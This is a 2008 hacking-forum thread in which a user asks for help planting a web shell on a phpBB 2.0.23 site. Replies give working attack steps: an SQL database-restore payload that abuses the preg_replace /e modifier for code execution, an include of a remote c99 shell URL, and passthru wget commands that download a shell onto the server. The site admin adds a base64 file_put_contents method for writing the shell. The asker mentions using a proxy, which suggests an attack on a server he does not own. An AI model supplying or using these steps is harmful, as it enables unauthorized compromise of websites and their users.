Waraxe IT Security Portal
Login or Register
December 18, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 152
Members: 0
Total: 152
Full disclosure
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
St. Poelten UAS | Multiple Vulnerabilities in ORing IAP
SEC Consult SA-20241204-0 :: Multiple Critical Vulnerabilities in Image Access Scan2Net (14 CVE)
Microsoft Warbird and PMP security research - technical doc
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> Shell phpBB 2.0.23 ??? Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
Shell phpBB 2.0.23 ???
PostPosted: Fri Mar 21, 2008 9:04 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Hi , how i can upload shell in CP phpBB 2.0.23

in this Version Please ,
Waraxe & koko , need help please , very important Confused
View user's profile Send private message Visit poster's website
PostPosted: Sat Mar 22, 2008 2:31 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Create file test.sql on your PC and put inside this code

Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='phpbb:phpinfo()' WHERE user_id=2;


Login in admin panel.Restore database.Then select browse your file test.sql and push Start Restore.After that go to your profile and you see phpinfo of the server.

After phpbb: you may put your shell.Good luck.

P.S.Tested on 2.0.23 on my local PC.Working 100%.
View user's profile Send private message
PostPosted: Sat Mar 22, 2008 8:01 am Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




test.sql , is uploaded , but whene i Go to /forum/profile.php?mode=viewprofile&u=2

No phpinfo :s just profile of admin

Confused So ?
View user's profile Send private message Visit poster's website
PostPosted: Sat Mar 22, 2008 9:01 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to upload without prefix phpbb_.
View user's profile Send private message
PostPosted: Sat Mar 22, 2008 10:45 am Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




thankx Koko , phpinfo() , is working Cool , but to upload shell , not work ..

Code:
'a:phpinfo()', '(.+)/e


Working


Code:
'a:include($_GET[cmd])', '(.+)/e


Not work Confused Confused

Code:
forum/profile.php?mode=editprofile&cmd=http://www.google.fr
forum/profile.php?mode=editprofile&cmd=http://www.evilc0der.com/c99.txt




Code:
Warning: include() [function.include]: URL file-access is disabled in the server configuration in /home/www/web/education/forum/includes/usercp_register.php(821) : regexp code on line 1

Warning: include(http://www.google.fr) [function.include]: failed to open stream: no suitable wrapper could be found in /home/www/web/education/forum/includes/usercp_register.php(821) : regexp code on line 1

Warning: include() [function.include]: Failed opening 'http://www.google.fr' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/www/web/education/forum/includes/usercp_register.php(821) : regexp code on line 1


not work Shocked Shocked ,so .??? help please is very important for me Rolling Eyes
View user's profile Send private message Visit poster's website
PostPosted: Sat Mar 22, 2008 12:44 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Code:
URL file-access is disabled in the server configuration


passthru('pwd')
Look for opens dirs
passthru('which wget curl fetch')
uploaders
passthru('wget http://your shell.com/shell.php -O /open/dir/shell.php')

victim.com/forum/opendir/shell.php
View user's profile Send private message
PostPosted: Sat Mar 22, 2008 1:17 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




i'am not undertand what i right in file test.sql

Code:
UPDATE phpbb_users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='passthru(htp://victim.com/forum/opendir/shell.php)' WHERE user_id=2;


Cool
View user's profile Send private message Visit poster's website
PostPosted: Sat Mar 22, 2008 5:13 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




WOW
Search in google some ebook for php and read.
View user's profile Send private message
PostPosted: Sat Mar 22, 2008 5:45 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




please Koko , i need a code complet for this Confused
View user's profile Send private message Visit poster's website
PostPosted: Sat Mar 22, 2008 7:44 pm Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




Code:
passthru(wget http://site.com/shell.txt -O /home/www/site/myautorun/shell.php)



Koko ????
View user's profile Send private message Visit poster's website
PostPosted: Sat Mar 22, 2008 8:38 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Unix command?You know that is this?Why you trying to hack something without any knowledge.First test all this on your PC and then try to hack some server.This is no chlidren game's boys.Let me ask you something Kroko.Are you use proxy when you login into admin panel?
View user's profile Send private message
PostPosted: Sat Mar 22, 2008 9:37 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Passhtrough() is not your only option. You can just write all the shell source code directly to file in target's webserver.
Example:

1. base64 encode all c99 shell source code
2. file_put_contents('/path/to/shell/c99.php',base64_decode('base64_encoded_shell_source_here'));

That's all. Why base64 encoding? It is useful, because in this case you don't have to worry about various meta characters or binary nulls or something else similar.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sun Mar 23, 2008 4:10 am Reply with quote
kieuanh
Regular user
Regular user
Joined: Mar 22, 2008
Posts: 23




yes u can upload via phpBB <= 2.0.19 (user_sig_bbcode_uid) Remote Code Execution Exploit
exploit here http://milw0rm.com/exploits/1661
View user's profile Send private message
PostPosted: Sun Mar 23, 2008 11:20 am Reply with quote
kr0k0
Advanced user
Advanced user
Joined: Jan 26, 2008
Posts: 128




1- Koko :
Always proxy Cool


2- kieuanh :

Code:
Can't locate object method "post" via package "LWP::UserAgent" (perhaps you forg
ot to load "LWP::UserAgent"?) at phpbb-r57.pl line 40.


3- Waraxe :
Not work Confused Error Message , and the CHAR '' not
accepted

and Thankx for all , but i need a Help Mad Crying or Very sad

waraxe & Koko , if u want , i poste PHPinfo() here , or i send you URL in PM..???
View user's profile Send private message Visit poster's website
PostPosted: Mon Mar 24, 2008 6:34 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




kr0k0 we give advises,we not hacking anybody.
View user's profile Send private message
Shell phpBB 2.0.23 ???
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.036 Seconds